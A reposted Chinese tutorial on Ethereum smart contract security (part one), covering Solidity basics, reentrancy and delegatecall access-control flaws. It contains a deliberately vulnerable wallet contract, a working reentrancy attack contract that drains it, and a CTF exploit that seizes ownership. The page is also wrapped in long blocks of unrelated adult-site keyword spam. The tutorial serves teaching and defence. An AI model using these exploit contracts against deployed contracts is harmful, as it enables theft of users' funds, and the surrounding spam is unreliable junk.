日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

以太坊智能合约安全入门了解一下(上)

發布時間:2025/3/15 编程问答 22 豆豆
生活随笔 收集整理的這篇文章主要介紹了 以太坊智能合约安全入门了解一下(上) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

作者:RickGray
作者博客:http://rickgray.me/2018/05/17/ethereum-smart-contracts-vulnerabilites-review/

(注:本文分上/下兩部分完成,下篇鏈接《以太坊智能合約安全入門了解一下(下)》)

最近區塊鏈漏洞不要太火,什么交易所用戶被釣魚導致 APIKEY 泄漏,代幣合約出現整數溢出漏洞致使代幣歸零, MyEtherWallet 遭 DNS 劫持致使用戶 ETH 被盜等等。頻頻爆出的區塊鏈安全事件,越來越多的安全從業者將目標轉到了 Blockchain 上。經過一段時間的惡補,讓我從以太坊智能合約 “青銅I段” 升到了 “青銅III段”,本文將從以太坊智能合約的一些特殊機制說起,詳細地剖析已發現各種漏洞類型,對每一種漏洞類型都會提供一段簡單的合約代碼來對漏洞成因和攻擊方法進行說明。

在閱讀接下來的文章內容之前,我假定你已經對以太坊智能合約的相關概念已經有了一定的了解。如果從開發者的角度來看智能,大概是這個樣子:

以太坊專門提供了一種叫 EVM 的虛擬機供合約代碼運行,同時也提供了面向合約的語言來加快開發者開發合約,像官方推薦且用的最多的 Solidity 是一種語法類似 JavaScript 的合約開發語言。開發者按一定的業務邏輯編寫合約代碼,并將其部署到以太坊上,代碼根據業務邏輯將數據記錄在鏈上。以太坊其實就是一個應用生態平臺,借助智能合約我們可以開發出各式各樣的應用發布到以太坊上供業務直接使用。關于以太坊/智能合約的概念可參考文檔。

接下來也是以 Solidity 為例來說明以太坊智能合約的一些已存在安全問題。

I. 智能合約開發 - Solidity

Solidity 的語法類似 JavaSript,整體還是比較好上手,一個簡單的用 Solidity 編寫的合約代碼如下

語法相關的話我建議可以先看一下這個教學系列(FQ),下面我說說我在學習和復習以太坊智能合約時一開始比較懵逼的地方:

1. 以太坊賬戶和智能合約區別

以太坊賬戶分兩種,外部賬戶和合約賬戶。外部賬戶由一對公私鑰進行管理,賬戶包含著 Ether 的余額,而合約賬戶除了可以含有 Ether 余額外,還擁有一段特定的代碼,預先設定代碼邏輯在外部賬戶或其他合約對其合約地址發送消息或發生交易時被調用和處理:

外部賬戶 EOA

  • 由公私鑰對控制
  • 擁有 ether 余額
  • 可以發送交易(transactions)
  • 不包含相關執行代碼

合約賬戶

  • 擁有 ether 余額
  • 含有執行代碼
  • 代碼僅在該合約地址發生交易或者收到其他合約發送的信息時才會被執行
  • 擁有自己的獨立存儲狀態,且可以調用其他合約

(這里留一個問題:“合約賬戶也有公私鑰對嗎?若有,那么允許直接用公私鑰對控制賬戶以太坊余額嗎?”)

簡單來說就是合約賬戶由外部賬戶或合約代碼邏輯進行創建,一旦部署成功,只能按照預先寫好的合約邏輯進行業務交互,不存在其他方式直接操作合約賬戶或更改已部署的合約代碼。

2. 代碼執行限制

在初識 Solidity 時需要注意的一些代碼執行限制:

以太坊在設置時為了防止合約代碼出現像 “死循環” 這樣的情況,添加了代碼執行消耗這一概念。合約代碼部署到以太坊平臺后,EVM 在執行這些代碼時,每一步執行都會消耗一定 Gas,Gas 可以被看作是能量,一段代碼邏輯可以假設為一套 “組合技”,而外部調用者在調用該合約的某一函數時會提供數量一定的 Gas,如果這些 Gas 大于這一套 “組合技” 所需的能量,則會成功執行,否則會由于 Gas 不足而發生?out of gas?的異常,合約狀態回滾。

同時在 Solidity 中,函數中遞歸調用棧(深度)不能超過 1024 層:

contract Some {function Loop() {Loop();} }// Loop() -> // Loop() -> // Loop() -> // ... // ... (must less than 1024) // ... // Loop()
3. 回退函數 - fallback()

在跟進 Solidity 的安全漏洞時,有很大一部分都與合約實例的回退函數有關。那什么是回退函數呢?官方文檔描述到:

A contract can have exactly one unnamed function. This function cannot have arguments and cannot return anything. It is executed on a call to the contract if none of the other functions match the given function identifier (or if no data was supplied at all).

fallback 函數在合約實例中表現形式即為一個不帶參數沒有返回值的匿名函數:

那么什么時候會執行 fallback 函數呢?

  • 當外部賬戶或其他合約向該合約地址發送 ether 時;
  • 當外部賬戶或其他合約調用了該合約一個不存在的函數時;
  • 注:目前已知的關于 Solidity 的安全問題大多都會涉及到 fallback 函數

    4. 幾種轉幣方法對比

    Solidity 中?<address>.transfer(),<address>.send()?和?<address>.gas().call.vale()()?都可以用于向某一地址發送 ether,他們的區別在于:

    <address>.transfer()

    • 當發送失敗時會 throw; 回滾狀態
    • 只會傳遞 2300 Gas 供調用,防止重入(reentrancy)

    <address>.send()

    • 當發送失敗時會返回 false 布爾值
    • 只會傳遞 2300 Gas 供調用,防止重入(reentrancy)

    <address>.gas().call.value()()

    • 當發送失敗時會返回 false 布爾值
    • 傳遞所有可用 Gas 進行調用(可通過 gas(gas_value) 進行限制),不能有效防止重入(reentrancy)

    注:開發者需要根據不同場景合理的使用這些函數來實現轉幣的功能,如果考慮不周或處理不完整,則極有可能出現漏洞被攻擊者利用

    例如,早期很多合約在使用?<address>.send()?進行轉帳時,都會忽略掉其返回值,從而致使當轉賬失敗時,后續的代碼流程依然會得到執行。

    5. require 和 assert,revert 與 throw

    require?和?assert?都可用于檢查條件,并在不滿足條件的時候拋出異常,但在使用上 require 更偏向代碼邏輯健壯性檢查上;而在需要確認一些本不該出現的情況異常發生的時候,就需要使用 assert 去判斷了。

    revert 和 throw 都是標記錯誤并恢復當前調用,但 Solidity 在 0.4.10 開始引入 revert(), assert(), require() 函數,用法上原先的 throw; 等于 revert()。

    關于這幾個函數詳細講解,可以參考文章。

    II. 漏洞現場還原

    歷史上已經出現過很多關于以太坊合約的安全事件,這些安全事件在當時的影響也是巨大的,輕則讓已部署的合約無法繼續運行,重則會導致數千萬美元的損失。在金融領域,是不允許錯誤出現的,但從側面來講,正是這些安全事件的出現,才促使了以太坊或者說是區塊鏈安全的發展,越來越多的人關注區塊鏈安全、合約安全、協議安全等。

    所以,通過一段時間的學習,在這我將已經明白的關于以太坊合約的幾個漏洞原理記錄下來,有興趣的可以進一步交流。

    下面列出了已知的常見的 Solidity 的漏洞類型:

  • Reentrancy - 重入
  • Access Control - 訪問控制
  • Arithmetic Issues - 算術問題(整數上下溢出)
  • Unchecked Return Values For Low Level Calls - 未嚴格判斷不安全函數調用返回值
  • Denial of Service - 拒絕服務
  • Bad Randomness - 可預測的隨機處理
  • Front Running
  • Time manipulation
  • Short Address Attack - 短地址攻擊
  • Unknown Unknowns - 其他未知
  • 下面我會按照 原理 -> 示例(代碼) -> 攻擊 來對每一類型的漏洞進行原理說明和攻擊方法的講解。

    1. Reentrancy

    重入漏洞,在我剛開始看這個漏洞類型的時候,還是比較懵逼的,因為從字面上來看,“重入” 其實可以簡單理解成 “遞歸” 的意思,那么在傳統的開發語言里 “遞歸” 調用是一種很常見的邏輯處理方式,那在 Solidity 里為什么就成了漏洞了呢。在上面一部分也有講到,在以太坊智能合約里有一些內在的執行限制,如 Gas Limit,來看下面這段代碼:

    pragma solidity ^0.4.10;contract IDMoney {address owner;mapping (address => uint256) balances; // 記錄每個打幣者存入的資產情況event withdrawLog(address, uint256);function IDMoney() { owner = msg.sender; }function deposit() payable { balances[msg.sender] += msg.value; }function withdraw(address to, uint256 amount) {require(balances[msg.sender] > amount);require(this.balance > amount);withdrawLog(to, amount); // 打印日志,方便觀察 reentrancyto.call.value(amount)(); // 使用 call.value()() 進行 ether 轉幣時,默認會發所有的 Gas 給外部balances[msg.sender] -= amount;}function balanceOf() returns (uint256) { return balances[msg.sender]; }function balanceOf(address addr) returns (uint256) { return balances[addr]; } }

    這段代碼是為了說明重入漏洞原理編寫的,實現的是一個類似公共錢包的合約。任何人都可以向?IDMoney?存入相應的 Ether,合約會記錄每個賬戶在該合約里的資產(Ether)情況,賬戶可以查詢自身/他人在此合約中的余額,同時也能夠通過?withdraw?將自己在合約中的 Ether 直接提取出來轉給其他賬戶。

    初識以太坊智能合約的人在分析上面這段代碼時,應該會認為是一段比較正常的代碼邏輯,似乎并沒有什么問題。但是我在之前就說了,以太坊智能合約漏洞的出現其實跟自身的語法(語言)特性有很大的關系。這里,我們把焦點放在?withdraw(address, uint256)?函數中,合約在進行提幣時,使用?require?依次判斷提幣賬戶是否擁有相應的資產和該合約是否擁有足夠的資金可供提幣(有點類似于交易所的提幣判斷),隨后使用?to.call.value(amount)();?來發送 Ether,處理完成后相應修改用戶資產數據。

    仔細看過第一部分 I.3 的同學肯定發現了,這里轉幣的方法用的是?call.value()()?的方式,區別于?send()?和?transfer()?兩個相似功能的函數,call.value()()?會將剩余的 Gas 全部給予外部調用(fallback 函數),而?send()?和?transfer()?只會有 2300 的 Gas 量來處理本次轉幣操作。如果在進行 Ether 交易時目標地址是個合約地址,那么默認會調用該合約的 fallback 函數(存在的情況下,不存在轉幣會失敗,注意 payable 修飾)。

    上面說了這么多,顯然地,在提幣或者說是合約用戶在轉幣的過程中,存在一個遞歸?withdraw?的問題(因為資產修改在轉幣之后),攻擊者可以部署一個包含惡意遞歸調用的合約將公共錢包合約里的 Ether 全部提出,流程大致是這樣的:

    (讀者可以直接先根據上面的 IDMoney 合約代碼寫出自己的攻擊合約代碼,然后在測試環境中進行模擬)

    我實現的攻擊合約代碼如下:

    contract Attack {address owner;address victim;modifier ownerOnly { require(owner == msg.sender); _; }function Attack() payable { owner = msg.sender; }// 設置已部署的 IDMoney 合約實例地址function setVictim(address target) ownerOnly { victim = target; }// deposit Ether to IDMoney deployedfunction step1(uint256 amount) ownerOnly payable {if (this.balance > amount) {victim.call.value(amount)(bytes4(keccak256("deposit()")));}}// withdraw Ether from IDMoney deployedfunction step2(uint256 amount) ownerOnly {victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount);}// selfdestruct, send all balance to ownerfunction stopAttack() ownerOnly {selfdestruct(owner);}function startAttack(uint256 amount) ownerOnly {step1(amount);step2(amount / 2);}function () payable {if (msg.sender == victim) {// 再次嘗試調用 IDCoin 的 sendCoin 函數,遞歸轉幣victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);}} }

    使用?remix-ide?模擬攻擊流程:

    著名導致以太坊硬分叉(ETH/ETC)的 The DAO 事件就跟重入漏洞有關,該事件導致 60 多萬以太坊被盜。

    2. Access Control

    訪問控制,在使用 Solidity 編寫合約代碼時,有幾種默認的變量或函數訪問域關鍵字:private, public, external 和 internal,對合約實例方法來講,默認可見狀態為 public,而合約實例變量的默認可見狀態為 private。

    • public 標記函數或變量可以被任何賬戶調用或獲取,可以是合約里的函數、外部用戶或繼承該合約里的函數
    • external 標記的函數只能從外部訪問,不能被合約里的函數直接調用,但可以使用 this.func() 外部調用的方式調用該函數
    • private 標記的函數或變量只能在本合約中使用(注:這里的限制只是在代碼層面,以太坊是公鏈,任何人都能直接從鏈上獲取合約的狀態信息)
    • internal 一般用在合約繼承中,父合約中被標記成 internal 狀態變量或函數可供子合約進行直接訪問和調用(外部無法直接獲取和調用)

    Solidity 中除了常規的變量和函數可見性描述外,這里還需要特別提到的就是兩種底層調用方式?call和?delegatecall:

    • call?的外部調用上下文是外部合約
    • delegatecall?的外部調用上下是調用合約上下文

    簡單的用圖表示就是:

    合約 A 以?call?方式調用外部合約 B 的?func()?函數,在外部合約 B 上下文執行完?func()?后繼續返回 A 合約上下文繼續執行;而當 A 以?delegatecall?方式調用時,相當于將外部合約 B 的?func()?代碼復制過來(其函數中涉及的變量或函數都需要存在)在 A 上下文空間中執行。

    下面代碼是 OpenZeppelin CTF 中的題目:

    pragma solidity ^0.4.10;contract Delegate {address public owner;function Delegate(address _owner) {owner = _owner;}function pwn() {owner = msg.sender;} }contract Delegation {address public owner;Delegate delegate;function Delegation(address _delegateAddress) {delegate = Delegate(_delegateAddress);owner = msg.sender;}function () {if (delegate.delegatecall(msg.data)) {this;}} }

    仔細分析代碼,合約 Delegation 在 fallback 函數中使用?msg.data?對 Delegate 實例進行了?delegatecall()?調用。msg.data 可控,這里攻擊者直接用?bytes4(keccak256("pwn()"))?即可通過?delegatecall()?將已部署的 Delegation?owner?修改為攻擊者自己(msg.sender)。

    使用?remix-ide?模擬攻擊流程:

    2017 年下半年出現的智能合約錢包 Parity 被盜事件就跟未授權和?delegatecall?有關。

    (注:本文上部主要講解了以太坊智能合約安全的研究基礎和兩類漏洞原理實例,在《以太坊智能合約安全入門了解一下(下)》中會補全其他幾類漏洞的原理講解,并有一小節 “自我思考” 來總結我在學習和研究以太坊智能合約安全時遇到的細節問題)

    參考鏈接:

  • http://solidity.readthedocs.io/en/v0.4.21/contracts.html#fallback-function
  • https://consensys.github.io/smart-contract-best-practices/recommendations/#be-aware-of-the-tradeoffs-between-send-transfer-and-callvalue
  • http://www.cryptologie.net/
  • https://ethereum.stackexchange.com/questions/7570/whats-a-fallback-function-when-using-address-send
  • https://www.dasp.co/
  • https://www.youtube.com/playlist?list=PLUMwusiHZZhpf8ItZBkR95ekkMGNKvuNR
  • 總結

    以上是生活随笔為你收集整理的以太坊智能合约安全入门了解一下(上)的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

    亚洲国产精品资源 | 一级片在线 | 精品国产伦一区二区三区观看方式 | 国产一级在线观看视频 | 国产成人免费网站 | 免费看短 | 天天做天天爱夜夜爽 | 久久人人97超碰精品888 | 免费试看一区 | 在线性视频日韩欧美 | 国产精品123 | 日韩美女高潮 | 999久久国精品免费观看网站 | 久久久久久久久久久网站 | 在线免费中文字幕 | 蜜臀久久99精品久久久酒店新书 | 日韩成人高清在线 | 久久久久久久久久久久久9999 | 91免费看片黄 | 国产麻豆果冻传媒在线观看 | 国产精品一区二区无线 | 国语精品久久 | 91成人精品一区在线播放69 | 久久婷婷精品视频 | 久久天天拍 | 少妇搡bbbb搡bbb搡忠贞 | 99精品视频免费看 | 中文不卡视频 | 日韩精品欧美精品 | 美女视频久久黄 | 狠狠干夜夜操 | 国产一区视频免费在线观看 | 亚洲最大av在线播放 | 国产精品久久久久久久久久东京 | 色综合小说 | 久久久久久美女 | 999在线精品 | 综合精品久久久 | 久久极品 | 天天干,天天草 | 日日日干 | 欧美一区二区三区在线视频观看 | 五月天六月婷 | 天天插狠狠插 | 日日弄天天弄美女bbbb | 日韩欧美精品在线观看视频 | 一级精品视频在线观看宜春院 | 一级黄色免费 | 久久96国产精品久久99漫画 | 亚洲精选国产 | 中文字幕免费高清 | 日韩理论片 | 亚洲精品午夜一区人人爽 | 深爱激情av | 玖玖色在线观看 | 99精品国产免费久久久久久下载 | www.婷婷色 | 国产精品三级视频 | 在线亚洲播放 | 伊人六月 | 在线成人看片 | 成人禁用看黄a在线 | 96超碰在线| 亚洲成a人片综合在线 | 91污视频在线 | 日韩欧美一区二区三区视频 | 免费看三级 | 国产97色 | 五月天色网站 | 在线视频久久 | 在线免费观看黄色 | 91人人干 | 五月天狠狠操 | 美女免费网站 | 天天色天天干天天色 | 91精品夜夜| 久久精品3| 91综合视频在线观看 | 欧美日韩国产一区二区三区在线观看 | 日韩sese | 国产精品露脸在线 | 又黄又爽又刺激的视频 | 懂色av一区二区在线播放 | 国产xx在线| 亚洲伊人av | 久久久亚洲网站 | 日韩av在线一区二区 | www.久久久 | 91精品小视频 | 精品国产亚洲一区二区麻豆 | 成人午夜在线观看 | 久久久久99精品国产片 | 中文字幕欧美激情 | 亚洲日日射 | 国产在线播放一区二区三区 | 在线观看免费日韩 | 在线观看黄色小视频 | 亚洲色图 校园春色 | 色婷婷视频| 亚洲小视频在线观看 | 99热国产在线观看 | 99国产精品免费网站 | 亚洲国产美女久久久久 | 99久久99久国产黄毛片 | 久久国产精品一区二区 | 五月天激情视频在线观看 | 中文在线资源 | 干干操操 | 久久激情五月丁香伊人 | 成人aaa毛片| 18久久久久久 | 国产精品免费久久久久 | 天天射综合网视频 | 狠狠色丁香婷婷 | 久草资源免费 | 国产日韩欧美在线 | 国产四虎影院 | 精壮的侍卫呻吟h | 成人影视片 | www.五月天婷婷 | 日本在线观看一区二区 | 国产成人三级一区二区在线观看一 | 黄色大片av | 黄色在线免费观看网址 | 激情网站 | 丁香在线观看完整电影视频 | 激情五月婷婷网 | 日韩高清成人 | 久久一区精品 | av在线播放快速免费阴 | 成年人在线电影 | 日韩免费大片 | 久久乱码卡一卡2卡三卡四 五月婷婷久 | av在线免费播放网站 | 欧美人操人| 99在线精品视频在线观看 | 中文字幕在线视频第一页 | 午夜精品一区二区三区在线播放 | 福利av影院 | 久久97视频 | 亚洲国内精品在线 | 天天躁天天操 | 欧美极品少妇xbxb性爽爽视频 | av资源在线观看 | 人人舔人人干 | 黄色视屏在线免费观看 | 亚洲情婷婷 | 亚洲精品一区二区精华 | 探花国产在线 | 国产麻豆精品久久 | 中文一二区 | 婷婷综合导航 | 日韩欧美网址 | 九九九九九九精品 | 中文字幕免费 | 亚洲精品视频在线观看免费视频 | 九九九九精品九九九九 | 日日草天天草 | 在线视频一二三 | 久久国语露脸国产精品电影 | 视频在线一区二区三区 | 蜜桃视频在线视频 | 一区二区不卡视频在线观看 | 婷婷久久一区二区三区 | 在线观看国产成人av片 | 国产精品私人影院 | 99免费| 国产精品视频最多的网站 | 午夜精品中文字幕 | 国产精品尤物视频 | 99精品在线免费观看 | 九九精品视频在线看 | av电影免费在线看 | 五月激情六月丁香 | 天天插天天狠 | 午夜av影院 | www日韩在线 | 国产精品爽爽久久久久久蜜臀 | 久久精品欧美一区 | 免费观看的黄色 | 国产97色在线| 最近日本韩国中文字幕 | 国内久久精品 | 96亚洲精品久久久蜜桃 | www免费看 | 精品96久久久久久中文字幕无 | 国产精品porn| 在线观看91 | 久久久网站 | 精品国产一区二区三区噜噜噜 | 欧美日韩视频在线一区 | 婷婷深爱网| 九九视频这里只有精品 | 日韩精品久久久久久久电影99爱 | 三级午夜片| 欧美a在线免费观看 | 丁香婷婷综合色啪 | av 一区二区三区 | 久久精品xxx | 成人欧美一区二区三区在线观看 | 手机在线免费av | 婷婷六月天天 | 色狠狠综合 | 在线观看激情av | 欧美日韩一区二区三区免费视频 | 欧美国产日韩在线视频 | 东方av在线免费观看 | 一级免费观看 | 色婷婷久久一区二区 | 久久黄色a级片 | 黄色免费网站下载 | 国产超碰在线观看 | 欧美日性视频 | 国产999精品 | 99精品在线看 | 国产精品一区二区三区四区在线观看 | 午夜精品久久久久久中宇69 | 日韩美女黄色片 | www久久久| 国产成人福利在线 | 国产亚洲观看 | 国产偷国产偷亚洲清高 | 808电影| 999国产 | 久久久久亚洲国产精品 | 天天操夜夜逼 | 在线视频一区观看 | 国产在线观看h | 欧美一级片免费 | 精品爱爱 | 亚洲天堂毛片 | 国产精品久久久久久久久久东京 | 日本精品视频一区二区 | 国产精品久久久久久久7电影 | 91久久国产自产拍夜夜嗨 | 丁香 婷婷 激情 | 麻豆手机在线 | 最新av观看 | 在线观看成人一级片 | 日韩av一区二区在线影视 | 欧美极品少妇xxxxⅹ欧美极品少妇xxxx亚洲精品 | 人人爽人人香蕉 | 亚洲成人软件 | 免费观看黄色12片一级视频 | x99av成人免费 | 日韩在线国产精品 | 日韩理论| 久久久久免费精品视频 | 能在线观看的日韩av | 欧美一区二区免费在线观看 | 天天色综合1 | 91精品对白一区国产伦 | 不卡av电影在线 | 丁香六月伊人 | 日本精品视频免费观看 | 亚洲首页| 久久图| 国产特级毛片aaaaaa | 欧美日韩国产二区三区 | 天堂网中文在线 | 99热都是精品| 人人看97| 最近在线中文字幕 | 日韩精品免费一区二区在线观看 | 欧美精品v国产精品v日韩精品 | 久久成人国产精品 | 91最新网址在线观看 | 久久视屏网| 国产精品久久久久久久久久直播 | 91色网址| 精久久久久 | 99精品热 | 国产r级在线观看 | 亚洲欧洲国产日韩精品 | 99久久激情视频 | www黄免费 | 激情电影影院 | av黄色一级片 | 免费一区在线 | 久久久久久不卡 | 人人插超碰 | 中文字幕有码在线观看 | 国产中文字幕视频 | 亚洲精品免费观看视频 | 在线观看 国产 | 96av麻豆蜜桃一区二区 | 国产99久久精品一区二区300 | av成人动漫 | 777久久久 | 久久人人爽人人爽人人片 | 天天艹天天 | 国产小视频你懂的在线 | 免费一级片视频 | 天天爽天天搞 | 成人免费网站在线观看 | 视频成人永久免费视频 | 国产婷婷一区二区 | 欧美精品一区二区三区一线天视频 | av片免费播放 | 一区二区三区污 | 亚洲视频免费在线看 | 人人射人人射 | 欧美性黑人| 婷婷六月综合亚洲 | 亚洲精品99久久久久中文字幕 | 超碰在线97观看 | 色婷婷综合久久久中文字幕 | 99精品视频在线观看播放 | 国产视频一二区 | 天天色棕合合合合合合 | 久久久www成人免费精品张筱雨 | 免费高清看电视网站 | 精品国产一区二区三区蜜臀 | 亚洲最大av网| 丁香国产视频 | 在线观看免费 | 色吊丝在线永久观看最新版本 | 日韩精品一区二区免费 | 99精品国产一区二区三区麻豆 | 欧美人牲| 手机成人在线电影 | 国产午夜精品福利视频 | 国产精品观看在线亚洲人成网 | 人人看人人草 | 国产精品激情偷乱一区二区∴ | 日韩视频a| 最近中文字幕久久 | 97电院网手机版 | 麻豆成人在线观看 | 天天摸天天舔 | 国产成人一区三区 | 午夜久久精品 | 成人黄色视 | 超碰公开在线观看 | jizz999| 91人人射| 国产精品第52页 | 有码中文字幕在线观看 | 婷婷综合久久 | 日韩欧美高清免费 | 中文字幕资源站 | 免费网站黄色 | 91福利视频免费 | 国产成人在线观看免费 | 麻豆一精品传二传媒短视频 | 日韩欧美xxx | 人人插人人费 | 亚洲精品福利在线 | 国产91精品在线观看 | 精品一区二区免费视频 | 久久久久久久久久久久国产精品 | 国产精品色婷婷 | 国产在线视频一区二区三区 | 激情五月婷婷网 | japanesefreesex中国少妇 | 男女激情网址 | 99国产精品一区二区 | 色94色欧美 | 成人av网址大全 | 97在线观| 国产成人久久久77777 | 国产精品国产三级国产不产一地 | 99精品视频免费 | 国产精品一区二区av影院萌芽 | 九九免费观看全部免费视频 | 久久精品视频3 | 婷婷六月天天 | 五月婷婷黄色 | 中文字幕在线久一本久 | 国产一区二区综合 | 一级欧美日韩 | 偷拍精偷拍精品欧洲亚洲网站 | 久久久国产精品人人片99精片欧美一 | 国产精品女主播一区二区三区 | 在线观看蜜桃视频 | 99久久成人| 久久网址 | 亚洲精品中文字幕视频 | 国产在线视频导航 | 嫩草av在线 | 手机在线中文字幕 | 人人爱人人射 | 久久久免费毛片 | 麻豆视频免费播放 | 亚洲女在线 | 日韩精品视频第一页 | 人人澡人人爽欧一区 | 日韩欧美一区二区在线观看 | av大片免费在线观看 | 国产精品久久二区 | 91亚洲狠狠婷婷综合久久久 | 精品欧美小视频在线观看 | 男女免费av | 黄网站免费久久 | 超碰97在线人人 | 91色偷偷| 成人黄色在线 | 亚洲成人av在线 | 国产伦精品一区二区三区四区视频 | 色婷婷av在线 | 99久久久久久 | 久久综合色婷婷 | 国产福利在线不卡 | 伊人日日干| 日批视频在线观看免费 | 欧美日本啪啪无遮挡网站 | 日韩欧美一区二区三区在线 | 91精品91 | 国产精品99久久久久久久久久久久 | 99热 精品在线 | www.人人干| 天天草天天干 | 天天色官网 | 成年人视频在线免费 | 久久久www| 欧美福利在线播放 | 91毛片视频 | 久久久久欠精品国产毛片国产毛生 | 欧美激情第28页 | 日韩v在线 | 亚洲国产精品视频 | 一区二区av| 手机在线日韩视频 | 久久精品人人做人人综合老师 | 久草视频网 | 天天射狠狠干 | 99热精品在线观看 | 欧美亚洲国产精品久久高清浪潮 | 免费看国产曰批40分钟 | 亚洲天堂香蕉 | 操操操com| 天天射综合 | 色婷婷婷 | 黄色小说视频在线 | 狠狠色婷婷丁香六月 | 在线小视频 | 一区二区三区国 | 欧美性生活免费 | 欧美一级黄色视屏 | 97成人在线免费视频 | 国产精品国产亚洲精品看不卡15 | 国产中文字幕一区二区三区 | 午夜精品福利影院 | 久久综合九色综合97_ 久久久 | 国产99久久久国产 | 国产香蕉久久 | 又黄又爽免费视频 | 天天操天天干天天综合网 | 最近中文字幕视频网 | 国产免费成人av | 中文字幕av专区 | 在线а√天堂中文官网 | 欧美精品亚洲二区 | 国产理论一区二区三区 | 婷婷网站天天婷婷网站 | 久久综合亚洲鲁鲁五月久久 | 国产精品女主播一区二区三区 | 久久精品成人热国产成 | 激情五月播播久久久精品 | 黄色影院在线免费观看 | 婷婷丁香色 | 欧美黑人xxxx猛性大交 | 午夜电影中文字幕 | 日韩在线免费 | 国产精品久久久久久久久免费看 | 日韩av成人| 亚洲麻豆精品 | 国产在线91精品 | 国产三级香港三韩国三级 | 欧美激情第28页 | 97成人精品区在线播放 | 欧美色图视频一区 | 中文字幕 成人 | 国产高清精 | 国产精品99久久久久久久久久久久 | 天天操天天色天天 | 色播五月激情五月 | 国产性xxxx | 最近最新最好看中文视频 | 在线观看黄网站 | 国产黄色理论片 | 亚洲经典视频 | www视频免费在线观看 | 婷婷久久国产 | 天天插一插 | 丁香久久激情 | 一级性生活片 | 99re在线视频观看 | 色香蕉视频 | 精品一区二区日韩 | 香蕉在线视频观看 | 久久久久久久99精品免费观看 | 日黄网站 | 激情伊人五月天 | 欧美最新大片在线看 | 精品a在线 | 国产在线a免费观看 | 超碰在线9 | 在线观看韩日电影免费 | 在线电影日韩 | 午夜美女福利直播 | 超碰久热 | 精品超碰| 九九99 | 国产精品久久久久久久久久久久午夜 | 中文字幕在线电影 | 在线视频亚洲 | 亚洲视频分类 | 91污污视频在线观看 | 免费观看av | 不卡的av在线播放 | 国内一区二区视频 | 视频一区在线免费观看 | 在线看一级片 | 欧美不卡视频在线 | 狠狠狠狠狠狠狠狠 | 91免费高清在线观看 | 婷婷色亚洲 | 色综合久久久久久中文网 | 97在线免费观看视频 | 国产黄色精品视频 | 九九视频在线观看视频6 | 91精品国产高清自在线观看 | 亚洲精品国产精品国自产 | 国内丰满少妇猛烈精品播 | 西西人体www444| 一区二区在线影院 | 国产黄a三级三级 | 国产高清在线免费 | 成人av播放 | 国产精品久久久久久吹潮天美传媒 | 国产精品99久久久久久人免费 | 成人午夜精品 | 91香蕉久久 | 国产精品久久久久久久久久久久久久 | 久久国产日韩 | 日韩免费在线视频观看 | 91精品啪在线观看国产线免费 | 亚洲免费a | 天天做天天爱夜夜爽 | 91 中文字幕 | www色com | av中文字幕在线观看网站 | 久久精品国产一区二区 | 中文字幕一区二区三区四区在线视频 | av免费在线免费观看 | 国产一级大片免费看 | 91九色在线观看视频 | 精品视频资源站 | 天天综合成人网 | 天天曰天天 | 国产美腿白丝袜足在线av | 日本高清xxxx| 波多野结衣在线中文字幕 | 婷婷成人亚洲综合国产xv88 | 欧美一级电影 | 国产男女爽爽爽免费视频 | 成人小视频在线 | 久久免费视频国产 | 99re8这里有精品热视频免费 | 特级毛片爽www免费版 | 黄色一级免费 | 精品久久精品 | 久久嗨| 成年美女黄网站色大片免费看 | 亚洲国产精品激情在线观看 | 色综合中文字幕 | 99精品视频在线免费观看 | 成人av影视在线 | www最近高清中文国语在线观看 | 992tv在线观看 | 91亚洲精品视频 | 欧美日韩一区二区在线观看 | 亚洲一级免费电影 | 91丝袜美腿 | 色综合久久久久综合体桃花网 | 久久久www成人免费毛片麻豆 | 中文字幕在线观看视频网站 | 日本成人中文字幕在线观看 | 国产 日韩 在线 亚洲 字幕 中文 | 婷婷精品在线 | 一区二区三区不卡在线 | 久久人人添人人爽添人人88v | 久久精品视频日本 | 色资源网免费观看视频 | 日韩免费播放 | 97超在线视频 | 亚洲欧美日韩不卡 | 久久在线免费观看视频 | 91精品免费看 | av在线免费在线 | 中文字幕乱码亚洲精品一区 | 国产在线久久久 | 亚洲一区天堂 | 免费观看成人网 | 丁香花在线观看免费完整版视频 | 国产精品久久久久久爽爽爽 | 久久99久国产精品黄毛片入口 | 99精品一级欧美片免费播放 | 天天av在线播放 | 碰超人人 | 97在线观看免费高清 | 国产在线观看地址 | 欧美日韩国产三级 | 六月激情丁香 | a在线观看视频 | 精品一区av| 九九在线精品视频 | 伊人久久五月天 | 欧美大片在线观看一区 | 成人免费观看在线视频 | 97视频在线观看视频免费视频 | 精品国产视频在线观看 | 国产艹b视频 | 亚洲精选在线 | 日韩sese| 欧美巨大荫蒂茸毛毛人妖 | 91免费网| 国产69精品久久久久久 | 日韩久久精品一区二区三区 | 国产精品久久一区二区无卡 | 久久激情视频 | 九月婷婷综合网 | 97热久久免费频精品99 | 特级免费毛片 | 一级欧美日韩 | 免费精品国产va自在自线 | 久久永久视频 | 天天操天天操一操 | 国产一级在线观看视频 | 亚洲精品视频免费看 | 久久久免费看视频 | 中文字幕在线日本 | 国内精品视频在线 | 81精品国产乱码久久久久久 | 亚洲视频 一区 | 中文字幕av专区 | 国产一级在线免费观看 | 亚洲国内精品在线 | 婷婷网五月天 | 国产99久久九九精品免费 | 成人毛片网 | 天天射天天爱天天干 | 日韩在线视频一区二区三区 | 在线观看91视频 | 久久99精品国产麻豆婷婷 | 中文字幕a∨在线乱码免费看 | 成年人在线视频观看 | 亚洲伊人婷婷 | 欧美日韩不卡在线 | 日韩久久视频 | 久久香蕉一区 | 四虎影视成人永久免费观看视频 | 另类五月激情 | www五月 | 久久成人国产精品 | 久久蜜臀av | 视频在线一区二区三区 | 国产国语在线 | 亚洲国产小视频在线观看 | 国产无套精品久久久久久 | 中文字幕免费高 | 日本中文字幕在线看 | 亚洲电影免费 | 国产日韩在线看 | 在线观看播放av | 中文字幕免 | 久久久久国产a免费观看rela | www.天天射| 少妇性bbb搡bbb爽爽爽欧美 | 日韩www在线| 日韩网站免费观看 | adn—256中文在线观看 | 午夜av影院 | 99久久er热在这里只有精品66 | 